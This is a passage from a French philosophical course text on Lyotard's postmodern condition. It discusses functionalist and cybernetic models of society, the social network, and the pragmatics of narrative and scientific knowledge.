énoncés, qui ne sont pas des performatifs proprement dits, présentent eux aussi un certain degré de performativité. Ainsi en est-il des énoncés descriptifs des savoirs scientifiques. La performativité des énoncés descriptifs n'est, en fait, que la conséquence de ce que nous disions plus haut être notre situation incontournable dans le langage : si l'accès aux choses est nécessairement médiatisée par le langage, alors les énoncés qui décrivent ces choses, sont ceux qui les organisent, qui mettent entre les choses des relations telles que nous puissions les voir, les reconnaître. Telle est la performativité de ces énoncés descriptifs, dont ceux de la science. Mettre en évidence, de cette manière, la performativité des énoncés descriptifs, à pour effet de reposer la question de la vérité, qui domine toute la pragmatique de ce type d'énoncés. Reposer la question en la relativisant, c'est-à-dire en la mettant en relation avec un ensemble de règles qui déterminent une organisation particulière des choses <small>(1)</small>. En d'autres termes encore, prendre en compte la performativité des énoncés descriptifs, c'est reconnaître que la vérité ne se décide pas sur un (des) critère(s) absolu(s) - comme le serait l'adéquation à la réalité -, mais que ces critères sont eux-mêmes construits, produits dans un langage, effets de langage. La vérité est l'effet pragmatique des énoncés descriptifs. D'où se repose, encore et d'une manière aigue, le problème de la légitimation. La question de la légitimation des discours descriptifs se trouve donc couplée à celle de leur pragmatique. Et puisque cette dernière règle les conditions de productions effectives de ces discours (leur énonciation) et que, de plus, cette énonciation s'effectue dans un espace social donné, on comprend qu'il faille s'interroger sur le lien social. En effet, la manière dont on va considérer la société va nécessairement impliquer une certaine manière de penser la science et le savoir. D'où le plan que suivra notre analyse : *la nature du lien social *la pragmatique des discours narratifs et scientifiques *la problématique de la légitimation. <small>(1) Par choses, nous entendons ici, non tel ou tel type de caractérisation du réel, ce qui suppose déjà, dans cette hypothèse, l'intervention d'un langage, mais, d'une manière minimale, ce qui doit exister pour qu'il y ait langage, et donc savoir et (re)connaissance. Il s'agit de la chose : "res" en latin, qui, par dérivation, a donné "rien". La chose, c'est le "rien" que je peux apercevoir, si je ne possède pas le langage. Cfr. l'exemple d'un champ de fouille préhistorique.</small> ===Langage, Science et Société : de la théorie sociologique=== ====L'alternative moderne : la société systémique ou la société clivée==== ''"En simplifiant à l'extrême, on peut dire que durant le dernier demi-siècle au moins, cette représentation de la société s'est partagée en principe entre deux modèles : la société forme un tout fonctionnel, la société est divisée en deux".'' L'idée d'utiliser des analogies biologiques pour comprendre la société et donc se représenter la société comme un tout organique, a été une des idées maîtresses des fondateurs de l'Ecole française de sociologie. Idée reprise par cette école que l'on nommera "[[fonctionnalisme]]". Un exemple d'application fonctionnelle : Soit un système de stratification sociale. Ce système a pour fonction d'assurer une proportionnalité entre l'importance sociale de la position occupée et les récompenses qui y sont attachées. Non seulement, en effet, un système de stratification est un moyen d'assurer une telle proportionnalité. Mais celle-ci est en outre requise par le bon fonctionnement du système social, puisqu'elle seule permet de motiver les individus de manière à ce qu'ils occupent les positions auxquelles sont attachées les plus lourdes responsabilités. Dans une telle explication on peut repérer trois éléments : *un sous-système social, celui de la stratification sociale : X *la fonction que remplit ce sous-système : F *le système social lui-même : S Trois éléments qui sont reliés entre eux par les deux postulats suivants : *1 : F est la conséquence de X, est ce que produit X *2 : F est nécessaire au bon fonctionnement de S. Une telle explication "fonctionnaliste" présente en fait de nombreuses difficultés. Tout d'abord : la nature du système social est-elle à ce point isomorphe à celle du système organique pour que l'on puisse légitimement, à l'un et à l'autre, appliquer le même type d'explications ? Pour que cette question ait une réponse positive, il faut, au moins, que le système social satisfasse une condition, celle de l'unité fonctionnelle : la société doit former un tout suffisamment cohérent pour constituer le cadre de référence [[univoque]] des fonctions qu'elle déploie. Or, une telle condition semble bien loin d'être réalisée dans la société, et particulièrement dans le cas de sociétés complexes : ce qui satisfait le besoin d'un sous-ensemble social put bien être en contradiction avec les besoins et les intérêts d'autres sous-ensembles sociaux ou même mener l'entièreté de la société à la faillite. Une autre difficulté de l'explication fonctionnaliste, c'est la notion même de besoin. Alors qu'il semble possible de définir avec une précision suffisante les critères de survie et de bon fonctionnement d'un organisme biologique (en fait les critères de bonne santé et de maladie), cela ne semble pas possible dans le cadre d'une société humaine : quels critères va-t-on retenir pour définir une société "bien portante" et une société "malade" ? Qu'est-ce qu'une société "morte" ? ... De même, s'il s'agit de définir les besoins : on tombera soit dans des trivialités - il n'y a pas de société sans reproduction - soit dans des démonstrations que ne peuvent convaincre que les convaincus ; par exemple, [[Parsons]] affirmant l'impossibilité d'une société communiste au nom des postulats fonctionnels établis par la "théorie structurelle-fonctionnelle". Toutes les tentatives de repérer des impératifs fonctionnels font apparaître clairement le caractère "relatif" de ces constructions et nous amène à penser qu'on ne peut proposer de telles définitions qu'à partir d'une situation précise dans la société. De là à remettre en cause le postulat essentiel de l'analyse fonctionnelle - la cohérence du tout social - il n'y a qu'un pas ! Une troisième difficulté surgit à propos du premier postulat de l'analyse fonctionnaliste. Supposons que dans une situation sociale donnée, qu'il faut expliquer 'fonctionnellement", on ait pu montrer que la présence de la fonction F était nécessaire à la bonne marche du système social. Dans ce cas, le postulat 1/, à savoir que F est produit par X, ne peut logiquement mener à la conclusion, trop facilement tirée, que X est nécessaire à F et par là à S. En effet, il pourrait y avoir d'autres moyens d'assurer la même fonction F. En d'autres mots, il peut exister un X' qui est un équivalent fonctionnel de X, càd qui produit la même fonction F. Pour lever cette objection, il suffira de définir l'ensemble E des équivalents fonctionnels pour F et de réécrire les deux postulats fonctionnalistes de la manière suivante : *1' : F est la conséquence d'un des éléments de la classe E *2 : F est nécessaire au bon fonctionnement de S. Mais une telle relecture affaiblit considérablement la force de l'explication fonctionnaliste qui visait à rendre compte de X et non d'un ensemble E d'équivalents fonctionnels ; il resterait à dire, pourquoi, dans une telle société particulière, tel l'élément X de E a été préféré. C'est alors à une analyse historique qu'il faudrait faire appel : décrire l'ensemble des processus qui ont amené le système social a adopter telle solution plutôt que telle autre. Devant de telles difficultés, certains sociologues fonctionnalistes ont abandonné la prétention explicative du schéma fonctionnel ; ce dernier vise seulement à décrire, à fournir une image globale de la société qui permette de la saisir dans son unité et dans son articulation. Ainsi, pour T. Parsons, l'analyse fonctionnelle vise à organiser les problèmes sociologiques en référence à la hiérarchie des quatre "fonctions" fondamentales qui doivent être remplies dans toute société : [[adaptation]] (adaptation par rapport au milieu) ; goal attainment (poursuite de buts : définir des buts, mobiliser et gérer les ressources en vue des buts) ; [[intégration]] (éviter les perturbations internes trop importantes et maintenir la cohérence sociale) ; pattern maintenance (maintien des schémas culturels, favoriser l'investissement de la motivation). Mais un autre courant de la pensée sociologique s'est refusé à cette stratégie restrictive et a tenté de maintenir l'explication fonctionnaliste dans toute sa rigueur. Pour ce faire, il a proposé de remplacer l'analogie biologique par le modèle cybernétique. Le déplacement qu'introduit ce modèle cybernétique consiste en ce qu'on ne parle plus du 'bon fonctionnement du système', mais d'un 'état stable que le système tend à préserver'. Cela a pour conséquence de restreindre considérablement le champ de l'explication fonctionnelle, laquelle n'aurait effectivement de valeur explicative que dans le cas où le système social peut être considéré comme un système [[homéostatique]]. Soit un système S. Il se trouve dans un état d'équilibre E, en ce qui concerne la variable V, si et seulement si la valeur E de V est invariante par rapport au temps, à moins d'être perturbée par une force exogène, extérieure au système lui-même. On dira également que S manifeste un équilibre stable, par rapport à la variable V, si et seulement si, déplacé de son point d'équilibre par une force extérieure, le système manifeste la tendance spontanée à ramener la variable V à sa valeur primitive E. Un tel système en équilibre stable sera dit homéostatique, présentant des processus de régulation interne. Ces processus qui ramènent le système, considéré quant à sa variable V, à son état d'équilibre stable, sont dits "processus homéostatiques". On peut en effet trouver, dans la réalité sociale, un certain nombre d'exemples qui illustrent ces processus homéostatiques : Exemples : Le rituel funéraire peut être considéré comme la restauration d'un équilibre. La perte d'un des membres de la communauté sociale - surtout s'il occupait une place importante dans la hiérarchie sociale - produit un déséquilibre en détruisant partiellement la cohésion sociale, en provoquant un découragement, un désinvestissement social. D'où l'accomplissement des rites funéraires pour restaurer l'équilibre menacé. Schématiquement : *Dans un premier temps, le système S, dont X (le rituel de funérailles) fait partie, est en état d'équilibre E *La mort d'un individu perturbe le système, l'amène à l'état de déséquilibre E'. Cela entraîne l'activation du système X (X+) qui va agir sur le système lui-même (feed-back) pour ... *... le ramener à son état d'équilibre. Un tel modèle cybernétique de la société se bute à de nombreuses critiques, dont la plus fondamentale porte sur l'exportabilité du modèle de la réalité thermo-dynamique à la réalité sociale. En effet, le modèle cybernétique, pour être performant, suppose : *que l'on puisse définir le système comme séparé d'un milieu extérieur ; *que l'on puisse isoler la variable dont on étudie le comportement homéostatique. <small>(1)</small> Dans cette perspective, il devient abusif de parler de la société toute entière comme d'un système auto-régulé. Pourtant, à observer la sociologie contemporaine, il faut admettre que ce modèle cybernétique est constamment utilisé. Et même, ce qui est encore plus surprenant, son utilisation dépasse allègrement les limites méthodologiques que nous venons de souligner : le modèle cybernétique informe une conception globale de la société, conçue comme un "système cybernétique de contrôle". Un tel succès provient sans doute du recoupement entre cette vision cybernétique de la société et celle des "techno-crates".<small>(2)</small> De ce recoupement, une sociologie cybernétique acquiert, avec les moyens de se réaliser, (de se "réalifier", de se faire réalité), toute la panoplie désirable des preuves ! <small>(3).</small> On touche ici du doigt la relation, si importante, entre savoir d'une part et pouvoir de l'autre : la "vérité" d'une théorie est directement fonction des moyens, des techniques dont elle peut disposer pour modeler la réalité à son image <small>(2).</small> Face à cette volonté globalisante d'une sociologie du système social, s'est élevée une critique qui fait fond sur l'idée que la société est clivée, non homogène et mûe précisément par la "lutte" qui se mène en son sein. La réalité de la société, selon cette critique est essentiellement "polémique"<small>(3).</small> Une telle conception "pluraliste" de la société a pris naissance, historiquement, dans les luttes qui ont accompagné la transformation des sociétés traditionnelles en sociétés libérales, machinistes et capitalistes. Or aujourd'hui, et il faut reconnaître ici encore l'effet de la puissance technocratique, de la maîtrise des moyens techniques et technologiques, ces luttes et les organes qui le soutenaient - on peut penser ici aux structures syndicales dans les pays capitalistes et aux partis populaires dans les pays socialistes <small>(4).</small> - ont subi de telles transformations qu'ils en sont devenus à n'être plus que des éléments régulateurs du système : :''Et partout, à un titre ou à un autre, la Critique de l'économie politique (c'était le sous-titre du Capital de Marx) et la critique de la société aliénée qui en était le corrélat, sont utilisées en guise d'éléments dans la programmation du système" <small>(5).</small> On le voit, de la pensée moderne sur la société se présente sur le mode moins d'une alternative effective que d'un monopole de la conception systémique. Même si cette dernière s'accompagne toujours, plus ou moins, d'une pensée critique, laquelle, en effet, se trouve effectivement dépourvue de toute assise sociale réelle et risque par là de perdre toute crédibilité et tout effet de mobilisation sociale. Si elle ne disparaît pas, c'est que, sans doute, elle joue le rôle d'alibi dans le jeu socio-économique, réduite à n'être qu'une des instances, un des facteurs de l'optimisation du système, par exemple en proposant des "réformés" ! Selon la position que l'on tiendra par rapport à la nature du lien social, on proposera un rôle différent à l'activité de savoir, à la science. Les partisans de la conception fonctionnelle privilégieront une science comprise comme une fonction optimisatrice, comme un élément indispensable au fonctionnement et au progrès du système social. Dans une telle optique, le rapport de la science aux techniques sera considérablement accentué : la science sera pensée comme ce qui permet de mettre au point des techniques de plus en plus fines et de plus en plus efficaces. On mettra sur pied une politique scientifique dont la finalité la plus évidente sera la rationalité des activités scientifiques, en vue d'une efficacité plus grande. Par contre, si l'on pense la société comme un lieu de conflits, la science apparaîtra davantage comme une instance critique, visant à remettre en question le fonctionnement même du système socio-économique, à le réorienter en fonction d'une idéologie, par exemple, celle de la justice sociale. Telle est l'alternative. Mais est-ce vraiment une alternative ? Il faut ici aussi reposer la question, dans la mesure où la pensée critique est toujours menacée d'être reprise à l'intérieur de l'explication systémique, d'être réduite à une fonction indispensable au progrès du social et du savoir lui-même. Une telle récupération est d'ailleurs une réalité : on distingue alors, à l'intérieur même du savoir, deux types d'activités scientifiques. D'une part les sciences positives dont la fonction sociale et technique est évidente ; d'autre part des sciences [[herméneutiques]] (qui tentent de rechercher le sens), d'essence plus philosophique, qui assumeraient la fonction critique. <small>(1) Cfr. plus haut : un système est dit homéostatique, non pas en tant que tel, mais toujours par rapport à une variable précise dont on devrait pouvoir chiffrer numériquement le comportement.</small> <small>(2) Ce terme "technocrates" ne doit pas être compris ici dans un sens péjoratif. Il s'agit de ceux qui maîtrisent l'appareil technique qui existe dans une société. Appareil dont la finalité est l'optimisation de la performativité du système. En d'autres termes, il s'agit de contrôler les techniques qui permettent de rentabiliser au maximum le rapport entre les "inputs" et les "outputs" du système socio-économique.</small> <small>(3) Les preuves, comme les faits, sont construites, mises en scène. Le concept de "scénario" est d'ailleurs utilisé en sociologie et en économie.</small> <small>(4) Ce qui est vrai de la sociologie, l'est tout autant des autres disciplines scientifiques, qui n'ont prospérés que dans la mesure où elles étaient soutenues par des institutions de recherche et d'enseignement. L'Encyclopédie qui propose un classement systématique et logique des savoirs et des techniques, classement dont nous vivons encore aujourd'hui, mettait sur le même pied la médecine, la vétérinaire, la pêche et la fauconnerie. Si les deux premières disciplines sont devenues scientifiques, et non les deux autres, c'est grâce à un ensemble d'institutions que l'on a créé pour les promouvoir.</small> <small>(5) Ce qui se passe actuellement en Pologne est peut-être un sursaut critique face à la toute puissance de la technocratie politique et économique. </small> ====La perspective post-moderne : le réseau social==== L'idée de Lyotard est qu'une telle alternative moderne (et même la solution systémique de cette même alternative) ''"a cessé d'être pertinente par rapport aux sociétés qui nous intéressent et qu'elle-même appartient encore à une pensée par opposition qui ne correspond pas aux modes les plus vivaces du savoir postmoderne".'' Tout comme la situation du savoir post-moderne se caractérise par une impossibilité de croire encore au méta-récits légitimants, de même la crise qui traverse la société post-moderne est aussi une crise qui concerne la croyance et sa conséquence immédiate, l'investissement social. La société moderne constituait, sous une forme ou sous une autre, une possibilité pour l'individu de donner un sens à son existence individuelle; elle offrait à l'individu de multiples occasions de s'identifier à un rôle social précis, lui procurait la conviction qu'il participait à une oeuvre commune et exaltante. En un mot, la société moderne était un lieu d'investissement sûr pour les existences individuelles. Or, c'est la possibilité même d'un tel investissement qui semble faire défaut dans la condition post-moderne : ''"... les anciens pôles d'attraction formés par les Etats-nations, les partis, les professions, les institutions, et les traditions historiques perdent de leur attrait. Et ils ne semblent pas devoir être remplacés, du moins à l'échelle qui est la leur."'' La société n'est plus le lieu du sens ; elle ne peut plus finaliser, de manière convenable, la vie individuelle. S'assigner un but ''"est laissé à la diligence de chacun. Chacun est renvoyé à Soi. Et chacun sait que ce Soi est peu."'' Admettre de la sorte la faillite du sens social, ce n'est pas pour autant proclamer la fin du social, l'atomisation de la société et la dissolution du lien social. Certes la manière dont la société moderne opérait ce lien, par identification à un héros, à une cause collective, cette manière est et sera toujours davantage périmée. Mais avec la société post-moderne nalt une façon originale de reconstituer le lien et le tissu social ; et par là de nouveaux outils pour les comprendre. Je propose ici d'avancer, pour comprendre ce qui fait la spécificité du lien social post-moderne, le concept de "[[réseau]]". Il faut entendre par là ''"un ensemble de points qui communiquent entre eux" ou encore ''"un ensemble de personnes qui communiquent les unes avec les autres".'' Chaque sommet de ce réseau est un individu. Entre les différents sommets s'échangent des relations, sous forme d'informations, de services, de productions, etc. Mais dans la mesure où le réseau représente une société, les sommets qui s'opèrent entre les sommets obéissent à des règles, qui en déterminent l'usage. On fait donc l'hypothèse, que pour être efficaces (et cette efficace, c'est finalement la constitution du réseau lui-même, la mise en place d'un lien social) , ces échanges ne peuvent se faire de n'importe quelle façon, doivent se conformer à une "[[pragmatique]]". On voit donc que dans un réseau social, on pourra reconnaître les mêmes éléments que nous avions repérer en analysant un "acte de parole", une énonciation: l'instance du locuteur (ici celui qui produit l'échange) , l'instance de l'allocutaire (ici celui à qui l'échange est destiné) et enfin le contenu même de ce qui est communiqué (ici le contenu de ce qui est échangé) . Par exemple, il est facile d'analyser de cette manière le fonctionnement social de la médecine : le locuteur est ici le médecin, l'allocuteur, le patient et le contenu échangé, les soins médicaux ; l'énonciation, "l'acte de parole", étant la production effective des soins. Contrairement à un réseau mécanique (un moteur pourrait lui aussi être l'objet d'une analyse en termes de réseau) , ce qui caractérise le réseau social et l'acte de parole, c'est la grande variabilité dont est susceptible le contenu de l'échange. Lorsque j'adresse un message linguistique à un autre, je ne puis jamais être sûr de la bonne interprétation de mon dire. Moi-même, je ne sais pas toujours ce que je dis! (Freud nous a livré ici une admirable analyse des lapsus) . Et même si j'étais assuré, d'une manière ou d'une autre, de la bonne compréhension de mon interlocuteur, il faut encore que je lui fasse crédit d'une "bonne foi" ; car, par ruse ou par mensonge, il peut toujours, volontairement, détourner le sens de mes paroles. On le voit, dans la communication, rien n'est moins stable que le contenu de ce qui est échangé. De même, dans le lien social : le contenu de ce qui est échangé, bien qu'il soit relativement réglé - et les institutions sociales peuvent être comprises comme formant la syntaxe et la sémantique du lien social, comme décrivant les formes canoniques de l'échange -, est susceptible des mêmes déplacements, des mêmes bouleversements que le matériel linguistique. Reprenons l'exemple de la médecine et l'abus que font généralement des soins médicaux les personnes du troisième âge. Abus qui n'en est un que pour l'interprétation économiste qui tente de réduire l'utilisation du médecin aux seuls cas des pathologies reconnues. Abus qui est aussi le signe d'un autre usage, d'un "détournement d'usage", si, comme une étude l'a montré, le troisième âge a recours au médecin pour rompre sa solitude. Autre exemple encore, celui d'un retournement radical : il concerne la médecine du travail qui, conçue à l'origine comme une médecine visant à dépister les maladies professionnelles et à protéger les ouvriers particulièrement exposés, en est venue, les circonstances et l'organisation du travail ayant beaucoup changé, à fonctionner davantage comme un organe de contrôle au service du patronat. ==PRAGMATIQUE DES DISCOURS NARRATIF ET SCIENTIFIQUE== Ayant définit nos outils (les jeux de langage), ayant analysé l'impact qu'une représentation que l'on se donne de la société (théorie sociologique) peut avoir sur l'idée, le modèle que l'on se fait de la science, nous pouvons aborder maintenant l'analyse pragmatique des discours. Analyse pragmatique, car nous privilégierons désormais cette perspective dans la mesure où elle s'accorde avec la représentation de la société comme réseau. Nous étudierons la pragmatique de deux types de discours : celle du discours narratif et celle du discours scientifique, car c'est précisément à l'intersection de ces deux types discourant que se situe la problématique de la légitimation. ===Savoir, connaissance et science=== L'idéologie scientiste moderne a toujours tenté d'identifier science et connaissance. Toute connaissance qui se voulait sérieuse devait sacrifier au modèle scientifique. Faute de quoi, elle était rejetée dans le folklore. Notre thèse est ici inverse : cette identification est abusive. Il importe de bien distinguer les trois instances : science, connaissance et savoir. Distinction que l'on peut schématiser de la manière suivante : L'on admettra, après [[Aristote]], que la connaissance est constituée par l'ensemble des énoncés qui décrivent ou dénotent des objets (énoncés [[apophantiques]]) et qui sont donc soumis à la question de la vérité : ces énoncés sont susceptibles d'être vrais ou faux <small>(1).</small> La science est un sous-ensemble de la connaissance : elle est constituée d'énoncés apophantiques auxquels elle impose des conditions supplémentaires : essentiellement la répétitivité expérimentale des faits et des objets dont elle parle. Ce que Lyotard exprime en disant que "''les objets auxquels ils (les énoncés scientifiques) se référent, soient accessibles récursivement, donc dans les conditions d'observation explicites''". Conséquence obligée : ces conditions que la science impose aux énoncés apophantiques sont aussi celles sous lesquelles un énoncé peut être accepté dans le discours considérée comme pertinent par les experts. Enfin le savoir ne contient pas exclusivement des énoncés dénotatifs : on connaît aussi un savoir-faire, un savoir-vivre, un savoir-écouter. Ce qui est visé ici c'est une notion très large, celle de compétence. Et non seulement la compétence de dire le vrai, et donc de produire de la science et/ou de la connaissance, mais aussi de dire et de faire le bien, la justice et/ou le bonheur (sagesse éthique), de dire et de faire le beau, etc. :''"De là résulte l'un de ses principaux traits : le savoir coïncide avec une "formation" étendue des compétences, il est la forme unique incarnée dans un sujet que composent les diverses sortes de compétence qui le constituent"'' Contrairement à la science qui s'installe d'emblée dans un universel, et donc un transculturel, dont le postulat causaliste fournit le fondement, le savoir reste très fortement marqué par ses origines culturelles, par la "[[coutume]]" : la compétence consiste à produire des effets qui sont jugés en fonction de critères pertinents, admis dans le milieu des interlocuteurs du sachant. Consensus qui, comme le note Lyotard, forme l'essentiel de la culture d'un peuple. On comprend dès lors que le savoir constitue essentiellement le véhicule de la culture d'une civilisation, véhicule qui trouvera dans la forme narrative un mode d'expression adéquat. Il est évidemment important de bien voir comment la science se distingue radicalement du savoir traditionnel. Mais pour comprendre où se situe cette distinction, il faut aussi insister sur la continuité qui existe, malgré tout, entre le savoir et la science. L'un et l'autre sont en effet des formations culturelles qui, lorsqu'elles coexistent, sont en perpétuelles interactions. Il ne faudra donc pas être étonné si le savoir contemporain est imprégné de science. L'ethnologie moderne a d'ailleurs mis en lumière la thèse de l'identité formelle entre la pensée sauvage (il faut entendre ici le savoir des sociétés traditionnelles) d'une part et la pensée scientifique de l'autre. On a souvent objecté à l'existence d'un réel savoir coutumier le fait que les langues dites "primitives" étaient inaptes à la pensée abstraite. On pourrait répondre à cette objection en citant de nombreux exemples où les langues primitives paraissent beaucoup plus abstraites que les langues civilisées dans lesquelles se tiennent les discours scientifiques. Par exemple le [[Chinook]], langue du nord-est de l'Amérique du Nord. ''La proposition : le méchant homme a tué le pauvre enfant, se rend en chinook par : la méchanceté de l'homme a tué la pauvreté de l'enfant ; et pour dire qu'une femme utilise un panier trop petit : elle met ses racines de potentille dans la petitesse d'un panier à coquillages''. Autre objection : il concerne le caractère essentiellement utilitaire que revêtirait tout savoir primitif : le primitif ne connait que ce qu'il utilise. Il s'agirait donc d'un savoir strictement pratique d'où serait exclue toute tendance à la spéculation, à la connaissance "pure". Mais une telle opinion semble bien provenir d'une erreur de perspective. En effet, l'objet sur lequel porte l'intéret théorique peut varier et les primitifs s'intéresser à d'autres choses que nous les civilisés. D'autre part, il serait vain de prétendre que nos connaissances scientifiques les plus théoriques ne sont en aucune façon reliées à des intérêts pratiques. Mais ce qui parait vrai c'est que ''"cet appétit de connaissance objective constitue un des aspects les plus négligés de la pensée de ceux que nous nommons "primitifs". S'il est rarement dirigé vers des réalités du même niveau que celles auxquelles s'attache la science moderne, il implique des démarches intellectuelles et des méthodes d'observation comparables. Dans les deux cas, l'univers est objet de pensée, au moins autant que moyen de satisfaire des besoins"'' Ce ne sont donc pas les clivages abstrait/concret ou théorique/pratique qui distinguent, d'une manière pertinente, savoir traditionnel et science contemporaine. Par contre la distinction partie/tout nous offre sans doute un critère plus pertinent : la méthode scientifique, basée avant tout sur l'analyse des faits, n'appréhende un phénomène complexe qu'en le décomposant et en traitant successivement ses différentes parties ; de plus, le critère de la répétitivité expérimentale nécessaire contribue à écarter du champ d'investigation scientifique toute une série d'aspects importants de l'existence humaine, ceux-là mêmes qui ne sont pas susceptibles d'une approche expérimentale. Le savoir traditionnel, au contraire, s'accorde d'emblée une ouverture sur le tout : dans ce type de savoir, les aspects techniques (techniques d'agriculture, de chasse de pêche, d'élevage, par exemple) ne sont pas traités indépendamment des questions cosmiques et religieuses; de même les règles sociales sont sans cesse référées à des justifications sacrées. Conséquence au niveau des discours : alors que la science mettra en place une forme de discours qui lui est propre, le savoir traditionnel trouvera dans la forme narrative un instrument linguistique approprié : :''"Le récit est la forme par excellence de ce savoir [le savoir traditionnel], et ceci en plusieurs sens"'' <small>(1) Ceci dans le cas d'une logique à deux valeurs (vrai et faux). On peut évidemment construire des logiques plus complexes à n valeurs de vérité (n >2), qui intègrent alors, non seulement les notions de vrai et de faux, mais également celles de possible, nécessaire, probable, etc.</small> ===Pragmatique du savoir narratif=== Comment, d'une manière plus précise, les récits remplissent-ils ce rôle de définition des compétences ? De deux manières : tout d'abord en utilisant une pluralité de jeux de langage ; ensuite par une série de règles qui fixent leur transmission et par là leur pragmatique. Contrairement au discours de la science, le savoir narratif ne se cantonne pas dans le seul jeu de langage descriptif ou dénotatif. On y trouvera bien sûr des énoncés dénotatifs, portant sur le ciel, les saisons, la faune, la flore, les ancêtres, les dieux, mais aussi des énoncés prescriptifs, indiquant ce qu'il convient de faire, comment il convient de se comporter, des énoncés interrogatifs (les défis) , des énoncés évaluatifs, etc. C'est l'interpénétration de ces différents jeux de langage dans le même récit qui procure à ce dernier la puissance de cerner le tout, le global et de fournir de cette manière, non pas seulement un univers de connaissance, ce à quoi se trouve nécessairement et méthodologiquement réduite la science, mais un univers de sens. Quant à la pragmatique de la transmission de ces récits, on comprend qu'elle joue un rôle essentiel. En effet, si les récits ont le rôle que nous avons défini - celui de cerner les critères de compétence dans une société particulière, celle-là même oû ils sont produits - la transmission de ces récits, ou encore leur re-production, constituera le lieu même de leur efficacité. C'est en produisant et en reproduisant les récits qu'une société se constitue dans sa spécificité, assure le fonctionnement, l'application des compétences qu'elles reconnaît pour siennes. Pour examiner cette pragmatique de la transmission, nous prendrons appui sur un exemple : :"''... un conteur cashinahua commence toujours sa narration par une formule fixe : 'Voici l'histoire de ..., telle que je l'ai toujours entendue. Je vais vous la raconter à mon tour'. Et il la clôture par une autre formule également invariable : 'Ici s'achève l'histoire de ... Celui qui vous l'a raconté, c'est ... [nom cshinahua], chez les Blancs ... [nom espagnol ou portuguais].'''" On voit que le locuteur n'occupe son poste que parce qu'il a été auparavant l'allocutaire, l'auditeur de ce récit. C'est dire que l'allocutaire actuel de cette histoire acquiert au moins potentiellement, et par le fait même, la même compétence : il peut devenir à son tour le locuteur d'un tel récit- De plus le héros de cette histoire (ce dont on parle, le référent) est cashinahua, comme le sont le locuteur et l'allocutaire et "'' du fait de cette similitude de condition, le narrateur [le locuteur] actuelle peut être lui même le héros d'un récit comme l'a été l'Ancien''". Cet exemple illustre bien une des propriétés essentielles du "récit-savoir" des sociétés traditionnelles : :"''Les 'postes narratifs (destinateur, destinataire, héros) sont ainsi distribués que le droit d'occuper l'un, celui de destinateur, se fonde sur le double fait d'avoir occuper l'autre, celui de destinataire, et d'avoir été, par le nom qu'on porte, déjà raconté par récit, c'est-à-dire, placé en position de référent... d'autres occurrences narratives''." A travers de tels récits, le savoir qui y est véhiculé (le savoir au sens défini plus haut) constitue le lien social. Et dans cette exacte mesure, ce savoir n'a nul besoin d'être légitimé. Car privilégier de la sorte le savoir sur la science (c'est-à-dire sur un sous-ensemble du savoir) et la forme narrative sur la forme descriptive, faire fonctionner réellement le "récit-savoir", suppose qu'on n'isole pas le récit des autres formes pragmatiques pour s'interroger ensuite sur la légitimité de ce discours et sur l'autorité de son locuteur. Cette légitimité et cette autorité sont intimement liées à l'énonciation même du récit. En racontant le récit, le locuteur s'insère dans une tradition qui est auto-légitimante. S'interroger sur la légitimité serait, dans ces conditions, introduire une question proprement impertinente, une faille qui, à terme, détruirait le lien social spécifique de ces formations sociales traditionnelles. Comme le note Lyotard : :"''Il y a ainsi une incommensurabilité entre la pragmatique narrative populaire, qui est d'emblée légitimante, et ce jeu de langage, connu de l'Occident qu'est la question de la légitimité, ou plutôt la légitimité comme référent du jeu interrogatif. Les récits, on l'a vu, déterminent des critères de compétence et/ou en illustrent l'application. Ils définissent ainsi ce qui a le droit de se dire et de se faire dans la culture, et comme ils sont aussi une partie de celle-ci, ils se trouvent par là légitimés''." ===Pragmatique du savoir scientifique=== Si la question de la légitimité ne se pose pas pour le récit, c'est que celui-ci n'isole pas un jeu de langage particulier au savoir et ne définit pas une pragmatique qui serait propre à ce savoir. Avec la science, nous sommes d'emblée dans cette situation d'isolement du savoir par rapport aux autres formations culturelles. C'est de cet isolement que naît la question de la légitimité. D'où l'importance de s'interroger maintenant sur la pragmatique qui régit ce savoir particulier que nous appelons "science". Ce qui est visé ici, c'est le fonctionnement moderne du discours scientifique, à savoir : les règles qui déterminent le bon fonctionnement du savoir scientifique, tel qu'il se donne dans la perspective moderne. On distinguera, comme on l'a fait plus haut, la pragmatique de la recherche, de la production du savoir scientifique et celle de l'enseignement (au sens large) ou la pragmatique de la circulation de ce discours. ====Pragmatique de la production scientifique==== Soit un énoncé scientifique A. Par exemple, le principe d'Archimède: tout corps plongé dans un liquide subit, de la part de ce liquide, une pression vers le haut, égale au poids du volume de liquide qu'il déplace. Un tel énoncé, comme d'"illeurs la plupart des énoncés scientifiques qui prennent la forme d'une loi, est un énoncé universel : il dit que tout élément (à savoir: un corps plongé dans un liquide) possède la propriété P (à savoir: subir une poussée...). Examinons la pragmatique d'un tel énoncé, ou encore la manière dont il positionne les trois instances pragmatiques: le locuteur, l'allocutaire et le référent. a) Le '''Locuteur''' est supposé dire vrai quant au référent de A, le comportement d'un corps plongé dans un liquide. Cela suppose : *qu'il puisse apporter des Ereuves de A ; *qu'il puisse réfuter tout énoncé contraire ou contradictoire portant sur le même référent. Ce qui revient à dire que le locuteur doit être en mesure de produire un raisonnement de la forme ┌ ╟ A, où┌ est une suite d'énoncés qui constitue la preuve de A. Il doit aussi réfuter, c'est-à-dire produire un raisonnement qui montre que une négation de A entraîne l'absurde ou une contradiction : ┐ A ╟ ( p & ┐ p ) ou ┐ A ╟ ┴ <small>(1)</small> On notera qu'une telle approche de la position du locuteur suppose que l'on définisse la notion même de preuve. On peut évidemment écrire qu'une preuve pour un énoncé A est une suite d'énoncés r si et seulement si on a une procédure telle que ┌ ╟ A. Mais il est évident que l'on n'a pas défini cette procédure et qu'il convient de se mettre d'accord sur cette notion de preuve. Ou encore, répondre à la question: qu'acceptons-nous comme preuve d'un énoncé scientifique. b) '''L'allocutaire''' d'un énoncé scientifique est sollicité de se prononcer sur la vérité de l'énoncé A. Lui aussi est suppose posséder la même compétence que le locuteur. Ce qui en fait un locuteur potentiel <small>(2)</small> . Locuteur et allocutaire sont égaux. Et quand le dernier prend la parole, il sera soumis aux mêmes exigences de preuves et de réfutations que le locuteur. Ce qui repose, ici aussi, les mêmes problèmes quant à la procédure probatoire. Problèmes qui vont être explicitement posés par l'examen de la troisième composante pragmatique: le référent. c) Le '''référent'''. La question de la vérité ou de la fausseté de l'énoncé A, sur laquelle le locuteur et l'allocutaire sont amenés à se prononcer de par leur position pragmatique, revient, dans la perspective moderne, à placer le référent en situation de juge : le référent "''est supposé 'exprimé' par l'énoncé d'une manière conforme à ce qu'il est''". Et cette conformité est essentiellement attestée par la preuve: "''ce que je dis est vrai parce que je le prouve''". D'où la question rebondit: 